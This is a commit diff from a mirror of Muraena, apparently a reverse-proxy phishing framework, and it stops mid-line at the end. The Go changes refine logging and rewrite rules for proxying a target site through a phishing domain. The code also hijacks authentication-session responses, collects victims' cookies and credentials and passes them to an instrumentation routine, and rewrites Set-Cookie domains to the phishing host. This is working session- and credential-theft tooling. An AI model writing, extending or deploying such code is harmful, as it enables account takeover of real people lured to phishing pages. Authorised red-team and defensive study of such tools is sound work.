mirror of
https://github.com/muraenateam/muraena.git
synced 2026-01-23 02:24:05 +00:00
Better logging and replacement rules
This commit is contained in:
parent
9bc461bade
commit
d650d525bb
14 changed files with 635 additions and 198 deletions
|
|
@ -129,19 +129,13 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
|
|||
track := muraena.Tracker.TrackRequest(request)
|
||||
|
||||
// DROP
|
||||
dropRequest := false
|
||||
for _, drop := range sess.Config.Drop {
|
||||
if request.URL.Path == drop.Path {
|
||||
dropRequest = true
|
||||
break
|
||||
log.Debug("[Dropped] %s", request.URL.Path)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if dropRequest {
|
||||
log.Debug("[Dropped] %s", request.URL.Path)
|
||||
return
|
||||
}
|
||||
|
||||
//
|
||||
// Garbage ..
|
||||
//
|
||||
|
|
@ -168,11 +162,6 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
|
|||
// Restore query string with new values
|
||||
request.URL.RawQuery = query.Encode()
|
||||
|
||||
// Remove headers
|
||||
for _, header := range sess.Config.Remove.Request.Headers {
|
||||
request.Header.Del(header)
|
||||
}
|
||||
|
||||
// Transform HTTP headers of interest
|
||||
request.Host = muraena.Target.Host
|
||||
|
||||
|
|
@ -192,25 +181,32 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
|
|||
}
|
||||
}
|
||||
|
||||
lhead := fmt.Sprintf("[%s]", request.RemoteAddr)
|
||||
if sess.Config.Tracking.Enabled {
|
||||
lhead = fmt.Sprintf("[%s]%s", track.ID, lhead)
|
||||
}
|
||||
|
||||
// Add extra HTTP headers
|
||||
for _, header := range sess.Config.Craft.Add.Request.Headers {
|
||||
request.Header.Set(header.Name, header.Value)
|
||||
}
|
||||
|
||||
//l := fmt.Sprintf("%s - [%s][%s%s(%s)%s]", lhead,
|
||||
// Magenta(request.Method), Magenta(sess.Config.Protocol), Green(muraena.Origin),
|
||||
// Yellow(muraena.Target), Cyan(request.URL.Path))
|
||||
// Log line
|
||||
lhead := fmt.Sprintf("[%s]", getSenderIP(request))
|
||||
if sess.Config.Tracking.Enabled {
|
||||
lhead = fmt.Sprintf("[%*s]%s", track.TrackerLength, track.ID, lhead)
|
||||
}
|
||||
|
||||
l := fmt.Sprintf("%s - [%s][%s%s%s]",
|
||||
l := fmt.Sprintf("%s [%s][%s%s%s]",
|
||||
lhead,
|
||||
Magenta(request.Method),
|
||||
Magenta(sess.Config.Protocol), Yellow(muraena.Target), Cyan(request.URL.Path))
|
||||
log.Debug(l)
|
||||
Magenta(sess.Config.Protocol), Yellow(request.Host), Cyan(request.URL.Path))
|
||||
|
||||
if track.IsValid() {
|
||||
log.Debug(l)
|
||||
} else {
|
||||
log.Verbose(l)
|
||||
}
|
||||
|
||||
// Remove headers
|
||||
for _, header := range sess.Config.Remove.Request.Headers {
|
||||
request.Header.Del(header)
|
||||
}
|
||||
|
||||
//
|
||||
// BODY
|
||||
|
|
@ -241,6 +237,38 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
|
|||
return nil
|
||||
}
|
||||
|
||||
// getSenderIP returns the IP address of the client that sent the request.
|
||||
// It checks the following headers in cascade order:
|
||||
// - True-Client-IP
|
||||
// - CF-Connecting-IP
|
||||
// - X-Forwarded-For
|
||||
// If none of the headers contain a valid IP, it falls back to RemoteAddr.
|
||||
// TODO Update Watchdog to use this function
|
||||
func getSenderIP(req *http.Request) string {
|
||||
// Define the headers to check in cascade order
|
||||
headerNames := []string{"True-Client-IP", "CF-Connecting-IP", "X-Forwarded-For"}
|
||||
|
||||
// Loop through the headers and return the first non-empty IP address found
|
||||
for _, headerName := range headerNames {
|
||||
ipAddress := req.Header.Get(headerName)
|
||||
if ipAddress != "" {
|
||||
// The header may contain a comma-separated list of IP addresses; the client's IP is the leftmost one
|
||||
parts := strings.Split(ipAddress, ",")
|
||||
clientIP := strings.TrimSpace(parts[0])
|
||||
return clientIP
|
||||
}
|
||||
}
|
||||
|
||||
log.Debug("Sender IP not found in headers, falling back to RemoteAddr")
|
||||
|
||||
// If none of the headers contain a valid IP, fall back to RemoteAddr
|
||||
ipPort := req.RemoteAddr
|
||||
parts := strings.Split(ipPort, ":")
|
||||
ipAddress := parts[0]
|
||||
|
||||
return ipAddress
|
||||
}
|
||||
|
||||
func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err error) {
|
||||
|
||||
sess := muraena.Session
|
||||
|
|
@ -340,7 +368,7 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
|
|||
getSession := false
|
||||
for _, c := range muraena.Session.Config.Tracking.Urls.AuthSessionResponse {
|
||||
if response.Request.URL.Path == c {
|
||||
log.Debug("Going to hijack response: %s (Victim: %+v)", response.Request.URL.Path, victim.ID)
|
||||
//log.Debug("Going to hijack response: %s (Victim: %+v)", response.Request.URL.Path, victim.ID)
|
||||
getSession = true
|
||||
break
|
||||
}
|
||||
|
|
@ -352,8 +380,12 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
|
|||
if err != nil {
|
||||
log.Warning(err.Error())
|
||||
} else {
|
||||
victim.GetVictimCookiejar()
|
||||
go nb.Instrument(victim.ID, victim.Cookies, string(creds))
|
||||
err := victim.GetVictimCookiejar()
|
||||
if err != nil {
|
||||
log.Error(err.Error())
|
||||
} else {
|
||||
go nb.Instrument(victim.ID, victim.Cookies, string(creds))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -362,7 +394,7 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
|
|||
|
||||
} else {
|
||||
if len(response.Cookies()) > 0 {
|
||||
log.Debug("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
|
||||
log.Verbose("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -380,6 +412,18 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
|
|||
if header == "Set-Cookie" {
|
||||
for k, value := range response.Header["Set-Cookie"] {
|
||||
response.Header["Set-Cookie"][k] = replacer.Transform(value, false, base64)
|
||||
|
||||
// When the cookie is set for a wildcard domain, we need to replace the domain
|
||||
// with the phishing domain.
|
||||
if strings.Contains(response.Header["Set-Cookie"][k], "domain="+replacer.WildcardPrefix()) {
|
||||
// Replace the domain
|
||||
domain := strings.Split(response.Header["Set-Cookie"][k], "domain=")[1]
|
||||
domain = strings.Split(domain, ";")[0]
|
||||
newDomain := "." + replacer.Phishing
|
||||
response.Header["Set-Cookie"][k] = strings.Replace(response.Header["Set-Cookie"][k], domain, newDomain, 1)
|
||||
}
|
||||
|
||||
log.Debug("Set-Cookie: %s", response.Header["Set-Cookie"][k])
|
||||
}
|
||||
} else {
|
||||
response.Header.Set(header, replacer.Transform(response.Header.Get(header), false, base64))
|
||||
|
|
@ -410,7 +454,7 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
|
|||
}
|
||||
|
||||
func (muraena *MuraenaProxy) ProxyErrHandler(response http.ResponseWriter, request *http.Request, err error) {
|
||||
log.Error("[errHandler] \n\t%+v \n\t in request %s %s%s", err, request.Method, request.Host, request.URL.Path)
|
||||
log.Debug("[errHandler] \n\t%+v \n\t in request %s %s%s", err, request.Method, request.Host, request.URL.Path)
|
||||
}
|
||||
|
||||
func (init *MuraenaProxyInit) Spawn() *MuraenaProxy {
|
||||
|
|
|
|||
|
|
@ -8,7 +8,6 @@ import (
|
|||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
|
|
@ -130,23 +129,15 @@ func ArmorDomain(slice []string) []string {
|
|||
// make it lowercase
|
||||
entry = strings.ToLower(entry)
|
||||
|
||||
// if string is URL encoded, decode it
|
||||
if strings.Contains(entry, "%") {
|
||||
decodedURL, err := url.QueryUnescape(entry)
|
||||
if err == nil {
|
||||
entry = decodedURL
|
||||
}
|
||||
// if string begins with a protocol, remove it
|
||||
if strings.HasPrefix(entry, "http://") {
|
||||
entry = strings.TrimPrefix(entry, "http://")
|
||||
} else if strings.HasPrefix(entry, "https://") {
|
||||
entry = strings.TrimPrefix(entry, "https://")
|
||||
}
|
||||
|
||||
// if string contains protocol, remove it
|
||||
if strings.Contains(entry, "://") {
|
||||
entry = strings.Split(entry, "://")[1]
|
||||
}
|
||||
|
||||
// remove anything after the / (if any)
|
||||
if strings.Contains(entry, "/") {
|
||||
entry = strings.Split(entry, "/")[0]
|
||||
}
|
||||
// remove everything after the / (if any)
|
||||
entry = strings.Split(entry, "/")[0]
|
||||
|
||||
list = append(list, entry)
|
||||
}
|
||||
|
|
@ -161,7 +152,6 @@ func isWildcard(s string) bool {
|
|||
// IsSubdomain checks if a string is a subdomain of another string.
|
||||
// It returns true if the given string is a subdomain of the root string.
|
||||
func IsSubdomain(root string, subdomain string) bool {
|
||||
|
||||
// TODO: add support for wildcard domains
|
||||
return strings.HasSuffix(subdomain, root)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -4,6 +4,8 @@ import (
|
|||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
|
|
@ -15,7 +17,7 @@ import (
|
|||
|
||||
const ReplaceFile = "session.json"
|
||||
const CustomWildcardSeparator = "---"
|
||||
const WildcardPrefix = "wld"
|
||||
const WildcardLabel = "wld"
|
||||
|
||||
// Replacer structure used to populate the transformation rules
|
||||
type Replacer struct {
|
||||
|
|
@ -27,14 +29,14 @@ type Replacer struct {
|
|||
WildcardMapping map[string]string
|
||||
CustomResponseTransformations [][]string
|
||||
ForwardReplacements []string `json:"-"`
|
||||
ForwardWildcardReplacements []string `json:"-"`
|
||||
BackwardReplacements []string `json:"-"`
|
||||
BackwardWildcardReplacements []string `json:"-"`
|
||||
LastForwardReplacements []string `json:"-"`
|
||||
LastBackwardReplacements []string `json:"-"`
|
||||
WildcardDomain string `json:"-"`
|
||||
|
||||
// Ignore from JSON export
|
||||
loopCount int
|
||||
mu sync.RWMutex
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
// Init initializes the Replacer struct.
|
||||
|
|
@ -61,12 +63,12 @@ func (r *Replacer) Init(s session.Session) error {
|
|||
|
||||
r.SetExternalOrigins(s.Config.Crawler.ExternalOrigins)
|
||||
r.SetOrigins(s.Config.Crawler.OriginsMapping)
|
||||
r.SetCustomResponseTransformations(s.Config.Transform.Response.Custom)
|
||||
|
||||
if err = r.DomainMapping(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
r.SetCustomResponseTransformations(s.Config.Transform.Response.Custom)
|
||||
r.MakeReplacements()
|
||||
|
||||
// Save the replacer
|
||||
|
|
@ -78,16 +80,49 @@ func (r *Replacer) Init(s session.Session) error {
|
|||
return nil
|
||||
}
|
||||
|
||||
// WildcardPrefix returns the wildcard prefix used in the transformation rules.
|
||||
func (r *Replacer) WildcardPrefix() string {
|
||||
// XXXwld
|
||||
return fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardLabel)
|
||||
}
|
||||
|
||||
// getCustomWildCardSeparator returns the custom wildcard separator used in the transformation rules.
|
||||
// <CustomWildcardSeparator><ExternalOriginPrefix><WildcardLabel>
|
||||
func (r *Replacer) getCustomWildCardSeparator() string {
|
||||
return fmt.Sprintf("%s%s%s", CustomWildcardSeparator, r.ExternalOriginPrefix, WildcardLabel)
|
||||
}
|
||||
|
||||
// WildcardRegex returns the wildcard regex used in the transformation rules.
|
||||
// Returns a string in the format [a-zA-Z0-9.-]+.WildcardPrefix()
|
||||
func (r *Replacer) WildcardRegex(custom bool) string {
|
||||
if custom {
|
||||
return fmt.Sprintf(`[a-zA-Z0-9\.-]+%s`, r.getCustomWildCardSeparator())
|
||||
} else {
|
||||
return fmt.Sprintf(`[a-zA-Z0-9\.-]+%s`, r.WildcardPrefix())
|
||||
}
|
||||
}
|
||||
|
||||
// SetCustomResponseTransformations sets the CustomResponseTransformations used in the transformation rules.
|
||||
func (r *Replacer) SetCustomResponseTransformations(newTransformations [][]string) {
|
||||
|
||||
// For each wildcard domain, create a new transformation
|
||||
for _, wld := range r.GetWildcardMapping() {
|
||||
w := fmt.Sprintf("%s.%s", wld, r.Phishing)
|
||||
|
||||
newTransformations = append(newTransformations, []string{
|
||||
fmt.Sprintf("\"%s", w),
|
||||
fmt.Sprintf("\"%s%s", CustomWildcardSeparator, w),
|
||||
})
|
||||
|
||||
newTransformations = append(newTransformations, []string{
|
||||
fmt.Sprintf("\".%s", w),
|
||||
fmt.Sprintf("\"%s%s", CustomWildcardSeparator, w),
|
||||
})
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
// Append to newTransformations the wildcard custom patch:
|
||||
// any ".wldXXXXX.domain" should be replaced with:
|
||||
// ".wldXXXXX.domain" -> "---wldXXXX.domain"
|
||||
// this to address dynamic JS code that uses the wildcard domain
|
||||
|
||||
if r.CustomResponseTransformations == nil {
|
||||
r.CustomResponseTransformations = newTransformations
|
||||
return
|
||||
|
|
@ -126,19 +161,16 @@ func (r *Replacer) GetExternalOrigins() []string {
|
|||
}
|
||||
|
||||
// SetExternalOrigins sets the ExternalOrigins used in the transformation rules.
|
||||
func (r *Replacer) SetExternalOrigins(newOrigins []string) {
|
||||
func (r *Replacer) SetExternalOrigins(origins []string) {
|
||||
r.mu.Lock()
|
||||
|
||||
if r.ExternalOrigin == nil {
|
||||
r.ExternalOrigin = make([]string, 0)
|
||||
}
|
||||
|
||||
// merge newOrigins to r.ExternalOrigin and avoid duplicate
|
||||
for _, v := range ArmorDomain(newOrigins) {
|
||||
//if strings.HasPrefix(v, "-") {
|
||||
// continue
|
||||
//}
|
||||
|
||||
// merge origins to r.ExternalOrigin and avoid duplicate
|
||||
for _, v := range ArmorDomain(origins) {
|
||||
v = strings.TrimPrefix(v, ".")
|
||||
if strings.Contains(v, r.getCustomWildCardSeparator()) {
|
||||
continue
|
||||
}
|
||||
|
|
@ -151,9 +183,10 @@ func (r *Replacer) SetExternalOrigins(newOrigins []string) {
|
|||
}
|
||||
|
||||
r.ExternalOrigin = ArmorDomain(r.ExternalOrigin)
|
||||
r.mu.Unlock()
|
||||
|
||||
r.mu.Unlock()
|
||||
r.MakeReplacements()
|
||||
|
||||
}
|
||||
|
||||
// GetOrigins returns the Origins mapping used in the transformation rules.
|
||||
|
|
@ -185,13 +218,101 @@ func (r *Replacer) SetOrigins(newOrigins map[string]string) {
|
|||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
// merge newOrigins to r.newOrigins and avoid duplicate
|
||||
|
||||
// count the number of new origins
|
||||
count := len(r.Origins)
|
||||
for k, v := range newOrigins {
|
||||
k = strings.ToLower(k)
|
||||
if v == "-1" {
|
||||
count++
|
||||
v = fmt.Sprintf("%d", count)
|
||||
}
|
||||
r.Origins[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
// SetForwardReplacements sets the ForwardReplacements used in the transformation rules.
|
||||
func (r *Replacer) SetForwardReplacements(replacements []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.ForwardReplacements = replacements
|
||||
}
|
||||
|
||||
// SetForwardWildcardReplacements sets the ForwardWildcardReplacements used in the transformation rules.
|
||||
func (r *Replacer) SetForwardWildcardReplacements(replacements []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.ForwardWildcardReplacements = replacements
|
||||
}
|
||||
|
||||
// SetBackwardReplacements sets the BackwardReplacements used in the transformation rules.
|
||||
func (r *Replacer) SetBackwardReplacements(replacements []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.BackwardReplacements = replacements
|
||||
}
|
||||
|
||||
// SetBackwardWildcardReplacements sets the BackwardWildcardReplacements used in the transformation rules.
|
||||
func (r *Replacer) SetBackwardWildcardReplacements(replacements []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.BackwardWildcardReplacements = replacements
|
||||
}
|
||||
|
||||
// SetLastForwardReplacements sets the LastForwardReplacements used in the transformation rules.
|
||||
func (r *Replacer) SetLastForwardReplacements(replacements []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.LastForwardReplacements = replacements
|
||||
}
|
||||
|
||||
// SetLastBackwardReplacements sets the LastBackwardReplacements used in the transformation rules.
|
||||
func (r *Replacer) SetLastBackwardReplacements(replacements []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.LastBackwardReplacements = replacements
|
||||
}
|
||||
|
||||
// GetWildcardMapping returns the WildcardMapping used in the transformation rules.
|
||||
// It returns a copy of the internal map.
|
||||
func (r *Replacer) GetWildcardMapping() map[string]string {
|
||||
r.mu.Lock()
|
||||
|
||||
// Make a copy of the WildcardMapping and return it
|
||||
ret := make(map[string]string)
|
||||
for k, v := range r.WildcardMapping {
|
||||
ret[k] = v
|
||||
}
|
||||
|
||||
r.mu.Unlock()
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
// SetWildcardMapping sets the WildcardMapping used in the transformation rules.
|
||||
func (r *Replacer) SetWildcardMapping(domain, mapping string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.WildcardMapping[domain] = mapping
|
||||
}
|
||||
|
||||
// SetWildcardDomain sets the WildcardDomain used in the transformation rules.
|
||||
func (r *Replacer) SetWildcardDomain(domain string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
r.WildcardDomain = domain
|
||||
}
|
||||
|
||||
// Contains checks if a string is contained in a slice.
|
||||
func contains(slice []string, s string) bool {
|
||||
for _, v := range slice {
|
||||
|
|
@ -209,11 +330,6 @@ func (r *Replacer) Save() error {
|
|||
return saveToJSON(ReplaceFile, r)
|
||||
}
|
||||
|
||||
func (r *Replacer) getCustomWildCardSeparator() string {
|
||||
// ---XXXwld
|
||||
return fmt.Sprintf("%s%s%s", CustomWildcardSeparator, r.ExternalOriginPrefix, WildcardPrefix)
|
||||
}
|
||||
|
||||
// saveToJSON saves the Replacer struct to a file as JSON.
|
||||
func saveToJSON(filename string, replacer *Replacer) error {
|
||||
data, err := json.MarshalIndent(replacer, "", "\t")
|
||||
|
|
@ -248,3 +364,112 @@ func loadFromJSON(filename string) (*Replacer, error) {
|
|||
|
||||
return &replacer, nil
|
||||
}
|
||||
|
||||
type replacement struct {
|
||||
OldVal string
|
||||
NewVal string
|
||||
}
|
||||
|
||||
// GetBackwardReplacements returns the BackwardReplacements used in the transformation rules.
|
||||
// It returns a copy of the internal slice sorted by length in descending order.
|
||||
func (r *Replacer) GetBackwardReplacements() []string {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
return sortReplacementsByLength(r.BackwardReplacements, false)
|
||||
}
|
||||
|
||||
// GetForwardReplacements returns the ForwardReplacements used in the transformation rules.
|
||||
// It returns a copy of the internal slice sorted by length in descending order.
|
||||
func (r *Replacer) GetForwardReplacements() []string {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
return append(
|
||||
sortReplacementsByLength(r.ForwardReplacements, true),
|
||||
sortReplacementsByLength(r.ForwardWildcardReplacements, true)...,
|
||||
)
|
||||
}
|
||||
|
||||
// GetLastForwardReplacements returns the LastForwardReplacements used in the transformation rules.
|
||||
// It returns a copy of the internal slice sorted by length in descending order.
|
||||
func (r *Replacer) GetLastForwardReplacements() []string {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
return sortReplacementsByLength(r.LastForwardReplacements, true)
|
||||
}
|
||||
|
||||
// GetLastBackwardReplacements returns the LastBackwardReplacements used in the transformation rules.
|
||||
// It returns a copy of the internal slice sorted by length in descending order.
|
||||
func (r *Replacer) GetLastBackwardReplacements() []string {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
return append(
|
||||
sortReplacementsByLength(r.LastBackwardReplacements, false),
|
||||
sortReplacementsByLength(r.BackwardWildcardReplacements, false)...,
|
||||
)
|
||||
}
|
||||
|
||||
// caseInsensitiveReplace replaces the old values with the new values in the input string.
|
||||
func caseInsensitiveReplace(input string, r []string) (string, error) {
|
||||
replacements, err := convertToReplacements(r)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
for _, r := range replacements {
|
||||
re, err := regexp.Compile(`(?i)` + regexp.QuoteMeta(r.OldVal))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
input = re.ReplaceAllString(input, r.NewVal)
|
||||
}
|
||||
return input, nil
|
||||
}
|
||||
|
||||
// convertToReplacements converts a slice of strings to a slice of replacements.
|
||||
func convertToReplacements(slice []string) ([]replacement, error) {
|
||||
if len(slice)%2 != 0 {
|
||||
return nil, fmt.Errorf("slice must have an even number of elements")
|
||||
}
|
||||
|
||||
var replacements []replacement
|
||||
for i := 0; i < len(slice); i += 2 {
|
||||
replacements = append(replacements, replacement{
|
||||
OldVal: slice[i],
|
||||
NewVal: slice[i+1],
|
||||
})
|
||||
}
|
||||
|
||||
return replacements, nil
|
||||
}
|
||||
|
||||
// sortReplacementsByLength sorts the replacements by length in descending order.
|
||||
func sortReplacementsByLength(r []string, forward bool) (new []string) {
|
||||
|
||||
replacements, err := convertToReplacements(r)
|
||||
if err != nil {
|
||||
log.Warning("Error converting replacements: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if forward {
|
||||
sort.Slice(replacements, func(i, j int) bool {
|
||||
return len(replacements[i].NewVal) > len(replacements[j].NewVal)
|
||||
})
|
||||
} else {
|
||||
sort.Slice(replacements, func(i, j int) bool {
|
||||
return len(replacements[i].OldVal) > len(replacements[j].OldVal)
|
||||
})
|
||||
}
|
||||
|
||||
// convert replacements back to a slice of strings
|
||||
new = make([]string, 0)
|
||||
for _, rr := range replacements {
|
||||
new = append(new, rr.OldVal, rr.NewVal)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
|
|
|||
|
|
@ -4,10 +4,8 @@
|
|||
|
||||
// HTTP reverse proxy handler
|
||||
|
||||
//
|
||||
// NOTE:
|
||||
// This version has been modified for the Muraena needs, for instance removing the X-Forwarded-For header
|
||||
//
|
||||
package proxy
|
||||
|
||||
import (
|
||||
|
|
@ -29,7 +27,7 @@ type ReverseProxy struct {
|
|||
// the request into a new request to be sent
|
||||
// using Transport. Its response is then copied
|
||||
// back to the original client unmodified.
|
||||
// Director must not access the provided Request
|
||||
// Director must not access the provided RequestTemplate
|
||||
// after returning.
|
||||
Director func(*http.Request)
|
||||
|
||||
|
|
|
|||
|
|
@ -67,7 +67,7 @@ func Run(sess *session.Session) {
|
|||
// Defer the recovery function in case of panic
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
log.Error("Recovered from panic: %s", err)
|
||||
log.Warning("Recovered from panic: %s", err)
|
||||
}
|
||||
}()
|
||||
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@ import (
|
|||
"strings"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
"golang.org/x/net/html"
|
||||
|
||||
"github.com/muraenateam/muraena/core"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
|
|
@ -38,25 +39,27 @@ type Base64 struct {
|
|||
// Base64:
|
||||
// Since some request parameter values can be base64 encoded, we need to decode first,
|
||||
// apply the transformation and re-encode (hello ReCaptcha)
|
||||
func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result string) {
|
||||
// TODO: the b64 can be set into the Replacer struct
|
||||
func (r *Replacer) Transform(input string, forward bool, b64 Base64, repetitions ...int) (result string) {
|
||||
|
||||
source := strings.TrimSpace(input)
|
||||
if source == "" {
|
||||
return source
|
||||
}
|
||||
|
||||
count := 0
|
||||
if len(repetitions) > 0 {
|
||||
count = repetitions[0]
|
||||
}
|
||||
|
||||
var replacements []string
|
||||
var lastReplacements []string
|
||||
if forward { // used in Requests
|
||||
|
||||
// if source contains ---XXwld, we need to patch the wildcard
|
||||
wildCardSeparator := r.getCustomWildCardSeparator()
|
||||
if strings.Contains(source, wildCardSeparator) {
|
||||
|
||||
// Extract all urls from the source containing ---XXwld
|
||||
// and patch the wildcard
|
||||
regex := fmt.Sprintf("[a-zA-Z0-9.-]+%s\\d+.%s", wildCardSeparator, r.Phishing)
|
||||
re := regexp.MustCompile(regex)
|
||||
// Extract all urls from the source containing ---XXwld and patch the wildcard
|
||||
re := regexp.MustCompile(fmt.Sprintf(`%s\d+.%s`, r.WildcardRegex(true), r.Phishing))
|
||||
matchSubdomains := re.FindAllString(source, -1)
|
||||
matchSubdomains = ArmorDomain(matchSubdomains)
|
||||
if len(matchSubdomains) > 0 {
|
||||
|
|
@ -69,36 +72,82 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
|
||||
log.Verbose("Source after wildcard patching: %s", source)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
replacements = r.ForwardReplacements
|
||||
|
||||
lastReplacements = r.LastForwardReplacements
|
||||
} else { // used in Responses
|
||||
replacements = r.BackwardReplacements
|
||||
lastReplacements = r.LastBackwardReplacements
|
||||
replacements = r.GetForwardReplacements()
|
||||
lastReplacements = r.GetLastForwardReplacements()
|
||||
} else {
|
||||
// used in Responses
|
||||
replacements = r.GetBackwardReplacements()
|
||||
lastReplacements = r.GetLastBackwardReplacements()
|
||||
}
|
||||
|
||||
// Handling of base64 encoded data which should be decoded before transformation
|
||||
source, base64Found, padding := transformBase64(source, b64, true, Base64Padding)
|
||||
|
||||
// Replace transformation
|
||||
result = strings.NewReplacer(replacements...).Replace(source)
|
||||
// do last replacements
|
||||
result = strings.NewReplacer(lastReplacements...).Replace(result)
|
||||
if count > 2 {
|
||||
log.Verbose("Too many transformation loops, switch to a case insentive replace:")
|
||||
// Replace transformation
|
||||
var err error
|
||||
result, err = caseInsensitiveReplace(source, replacements)
|
||||
if err != nil {
|
||||
log.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// do last replacements
|
||||
result, err = caseInsensitiveReplace(result, lastReplacements)
|
||||
if err != nil {
|
||||
log.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
} else {
|
||||
// Replace transformation
|
||||
result = strings.NewReplacer(replacements...).Replace(source)
|
||||
// do last replacements
|
||||
result = strings.NewReplacer(lastReplacements...).Replace(result)
|
||||
}
|
||||
|
||||
// Re-encode if base64 encoded data was found
|
||||
if base64Found {
|
||||
result, _, _ = transformBase64(result, b64, false, padding)
|
||||
}
|
||||
|
||||
// TODO this could go into trasform URL with the forward parameter..
|
||||
if !forward {
|
||||
// if it's a URL, we need to transform the query string as well
|
||||
// if begins with http:// or https://
|
||||
if strings.HasPrefix(result, "http://") || strings.HasPrefix(result, "https://") {
|
||||
newURL, err := r.transformBackwardUrl(result, b64)
|
||||
if err == nil {
|
||||
result = newURL
|
||||
}
|
||||
}
|
||||
|
||||
if strings.HasPrefix(result, "<html") || strings.HasPrefix(result, "<!DOCTYPE") {
|
||||
if strings.Contains(result, "://") {
|
||||
newResult := result
|
||||
urls := extractURLsFromHTML(result)
|
||||
for _, url := range urls {
|
||||
newURL, err := r.transformBackwardUrl(url, b64)
|
||||
if err == nil {
|
||||
newResult = strings.ReplaceAll(newResult, url, newURL)
|
||||
}
|
||||
}
|
||||
|
||||
result = newResult
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If the result is the same as the input, we don't need to do anything else
|
||||
if source != result {
|
||||
// Find wildcard matching
|
||||
if Wildcards {
|
||||
|
||||
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
|
||||
wldPrefix := r.WildcardPrefix()
|
||||
|
||||
if strings.Contains(result, "."+wldPrefix) {
|
||||
var rep []string
|
||||
|
||||
|
|
@ -111,7 +160,7 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
}
|
||||
|
||||
domain := regexp.QuoteMeta(r.Phishing)
|
||||
re := regexp.MustCompile(fmt.Sprintf(`[a-zA-Z0-9.-]+%s\d+.%s`, WildcardPrefix, domain))
|
||||
re := regexp.MustCompile(fmt.Sprintf(`%s\d+.%s`, r.WildcardRegex(false), domain))
|
||||
matchSubdomains := re.FindAllString(result, -1)
|
||||
matchSubdomains = ArmorDomain(matchSubdomains)
|
||||
if len(matchSubdomains) > 0 {
|
||||
|
|
@ -123,16 +172,16 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(element, ".") {
|
||||
if strings.HasPrefix(element, r.getCustomWildCardSeparator()) {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(element, wldPrefix) {
|
||||
if strings.HasPrefix(element, "."+wldPrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Patch the wildcard
|
||||
element = strings.ReplaceAll(element, "."+wldPrefix, "-"+wldPrefix)
|
||||
element = strings.ReplaceAll(element, "."+wldPrefix, CustomWildcardSeparator+wldPrefix)
|
||||
rep = append(rep, element)
|
||||
}
|
||||
|
||||
|
|
@ -159,15 +208,17 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
}
|
||||
|
||||
r.MakeReplacements()
|
||||
r.loopCount++
|
||||
count++
|
||||
log.Verbose("We need another (#%d) transformation loop, because of this new domains:%s",
|
||||
